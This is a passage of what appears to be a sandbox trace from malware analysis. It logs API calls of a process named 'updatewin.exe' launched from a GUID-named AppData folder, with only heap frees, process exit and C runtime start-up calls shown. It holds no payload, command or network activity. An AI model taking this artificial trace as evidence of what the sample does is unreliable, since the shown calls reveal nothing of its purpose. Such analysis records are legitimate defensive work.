[0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552278 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5522a0 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5522c8 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5522f0 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552318 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552340 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552368 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552390 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5523b8 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5523e0 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552408 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552430 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552458 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552480 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5524a8 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5524d0 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5524f8 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552520 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552548 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552570 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552598 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5525c0 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552618 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552640 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552668 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552690 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5526b8 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5526e0 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552708 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552730 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552758 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552780 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5527a8 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5527d0 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5527f8 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552820 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552848 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552870 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552898 | out: hHeap=0x520000) returned 1 [0054.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5528c0 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5528e8 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552910 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552938 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552960 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552988 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5529b0 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5529d8 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552a00 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552a28 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552a50 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552a78 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552aa0 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x554e00 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54eaf8 | out: hHeap=0x520000) returned 1 [0054.267] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.267] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54a3e8 | out: hHeap=0x520000) returned 1 [0054.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54cdc8 | out: hHeap=0x520000) returned 1 [0054.267] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.267] GetLastError () returned 0x57 [0054.268] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f584 | out: phModule=0x18f584) returned 0 [0054.268] ExitProcess (uExitCode=0x0) [0054.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54ad00 | out: hHeap=0x520000) returned 1 [0054.268] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "8" image_name = "updatewin.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe" page_root = "0x37b76000" os_pid = "0xadc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa68" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0xae0 [0053.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x8ded1640, dwHighDateTime=0x1d56c59)) [0053.657] GetCurrentProcessId () returned 0xadc [0053.657] GetCurrentThreadId () returned 0xae0 [0053.657] GetTickCount () returned 0x1146bbe [0053.657] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17392647188) returned 1 [0053.674] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.674] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1f20000 [0053.676] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.676] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.676] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.676] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.676] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0053.676] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.676] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.676] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.676] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.676] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.677] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.677] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.677] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.677] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.677] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.677] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.677] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.677] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.677] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.678] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.678] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.678] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x214) returned 0x1f207d0 [0053.678] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.678] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.678] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.678] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.678] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.678] GetCurrentThreadId () returned 0xae0 [0053.678] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.679] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x800) returned 0x1f209f0 [0053.679] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.679] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.679] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.679] SetHandleCount (uNumber=0x20) returned 0x20 [0053.679] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe\" " [0053.679] GetEnvironmentStringsW () returned 0x5a4e60* [0053.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0053.679] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x0, Size=0x565) returned 0x1f211f8 [0053.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1f211f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0053.679] FreeEnvironmentStringsW (penv=0x5a4e60) returned 1 [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetACP () returned 0x4e4 [0053.679] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x0, Size=0x220) returned 0x1f21768 [0053.679] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.680] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0053.680] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0053.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.680] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0053.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ逝蝾㞥AĀ") returned 256 [0053.680] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ逝蝾㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.680] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ逝蝾㞥AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿãS\x9a\x81\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ逝蝾㞥AĀ") returned 256 [0053.680] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ逝蝾㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.680] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ逝蝾㞥AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0053.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 